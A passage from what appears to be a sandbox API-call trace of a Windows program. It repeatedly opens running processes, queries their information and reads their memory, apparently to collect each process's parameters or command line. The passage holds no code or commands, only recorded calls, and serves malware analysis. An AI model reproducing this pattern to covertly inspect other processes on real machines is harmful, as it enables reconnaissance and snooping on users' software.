lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100aa0*, lpNumberOfBytesRead=0x0) returned 1 [0272.190] free (_Block=0x196ef100aa0) [0272.191] CloseHandle (hObject=0x464) returned 1 [0272.191] _ui64tow_s (in: _Value=0xf64, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0272.197] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3940") returned 4 [0272.198] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0272.198] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0272.232] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0x464 [0272.232] GetLastError () returned 0x0 [0272.232] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0272.232] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x238018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0272.233] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0272.233] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0272.233] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b18f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.234] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0272.236] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0272.236] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x238020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0272.236] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0272.236] malloc (_Size=0x70) returned 0x196ef0d31b0 [0272.236] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.237] free (_Block=0x196ef0d31b0) [0272.238] CloseHandle (hObject=0x464) returned 1 [0272.239] _ui64tow_s (in: _Value=0xf74, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3956") returned 0x0 [0272.246] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3956") returned 4 [0272.248] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0272.248] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0272.273] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf74) returned 0x464 [0272.273] GetLastError () returned 0x0 [0272.274] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0272.274] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0272.274] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0272.274] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x621cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0272.274] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6218f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.276] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0272.278] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0272.278] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0272.278] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6212e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0272.278] malloc (_Size=0x60) returned 0x196ef0d0370 [0272.278] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x621950, lpBuffer=0x196ef0d0370, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0272.279] free (_Block=0x196ef0d0370) [0272.280] CloseHandle (hObject=0x464) returned 1 [0272.281] _ui64tow_s (in: _Value=0xf7c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3964") returned 0x0 [0272.287] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3964") returned 4 [0272.289] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0272.289] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0272.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf7c) returned 0x464 [0272.331] GetLastError () returned 0x0 [0272.332] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0272.332] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x382018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0272.332] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0272.332] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x521ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0272.333] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5218f8, lpBuffer=0x670f7c2b0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.334] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0272.335] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0272.335] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x382020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0272.335] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5212e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0272.336] malloc (_Size=0x6c) returned 0x196ef0d31b0 [0272.336] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x52195c, lpBuffer=0x196ef0d31b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.336] free (_Block=0x196ef0d31b0) [0272.337] CloseHandle (hObject=0x464) returned 1 [0272.338] _ui64tow_s (in: _Value=0xf8c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3980") returned 0x0 [0272.344] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3980") returned 4 [0272.346] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0272.346] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0272.401] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf8c) returned 0x464 [0272.401] GetLastError () returned 0x0 [0272.402] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0272.402] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x353018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0272.402] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0272.403] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f1d10, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0272.403] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f18f8, lpBuffer=0x670f7c2b0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.404] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0272.406] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0272.406] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x353020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0272.407] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0272.407] malloc (_Size=0x7c) returned 0x196ef0fab10 [0272.407] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f196c, lpBuffer=0x196ef0fab10, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fab10*, lpNumberOfBytesRead=0x0) returned 1 [0272.408] free (_Block=0x196ef0fab10) [0272.410] CloseHandle (hObject=0x464) returned 1 [0272.411] _ui64tow_s (in: _Value=0xf94, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3988") returned 0x0 [0272.420] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3988") returned 4 [0272.422] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0272.422] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0272.457] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf94) returned 0x464 [0272.457] GetLastError () returned 0x0 [0272.458] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0272.458] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54d018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0272.458] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0272.458] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f1ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0272.458] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f18f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.462] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0272.464] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0272.464] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54d020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0272.464] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0272.464] malloc (_Size=0x70) returned 0x196ef0d31b0 [0272.464] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f1960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.465] free (_Block=0x196ef0d31b0) [0272.465] CloseHandle (hObject=0x464) returned 1 [0272.466] _ui64tow_s (in: _Value=0xfa8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4008") returned 0x0 [0272.470] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4008") returned 4 [0272.471] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0272.471] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0272.499] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfa8) returned 0x464 [0272.499] GetLastError () returned 0x0 [0272.500] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0272.500] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0272.500] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0272.500] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0272.500] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c18f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.502] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0272.504] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0272.504] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0272.504] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0272.504] malloc (_Size=0x72) returned 0x196ef0d31b0 [0272.505] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.505] free (_Block=0x196ef0d31b0) [0272.506] CloseHandle (hObject=0x464) returned 1 [0272.507] _ui64tow_s (in: _Value=0xfb0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4016") returned 0x0 [0272.512] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4016") returned 4 [0272.513] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0272.513] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0272.534] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb0) returned 0x464 [0272.534] GetLastError () returned 0x0 [0272.535] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0272.535] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2cf018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0272.535] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0272.535] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0272.535] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.537] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0272.776] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0272.776] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2cf020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0272.776] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0272.776] malloc (_Size=0x70) returned 0x196ef0d31b0 [0272.777] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.777] free (_Block=0x196ef0d31b0) [0272.778] CloseHandle (hObject=0x464) returned 1 [0272.779] _ui64tow_s (in: _Value=0xfc0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4032") returned 0x0 [0272.786] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4032") returned 4 [0272.788] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0272.788] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0272.811] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc0) returned 0x464 [0272.811] GetLastError () returned 0x0 [0272.812] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0272.812] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x205018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0272.812] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0272.813] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x551ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0272.813] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5518f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.814] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0272.816] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0272.816] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x205020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0272.817] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5512e0, lpBuffer=0x670f7c0c0, nSize=0x410, 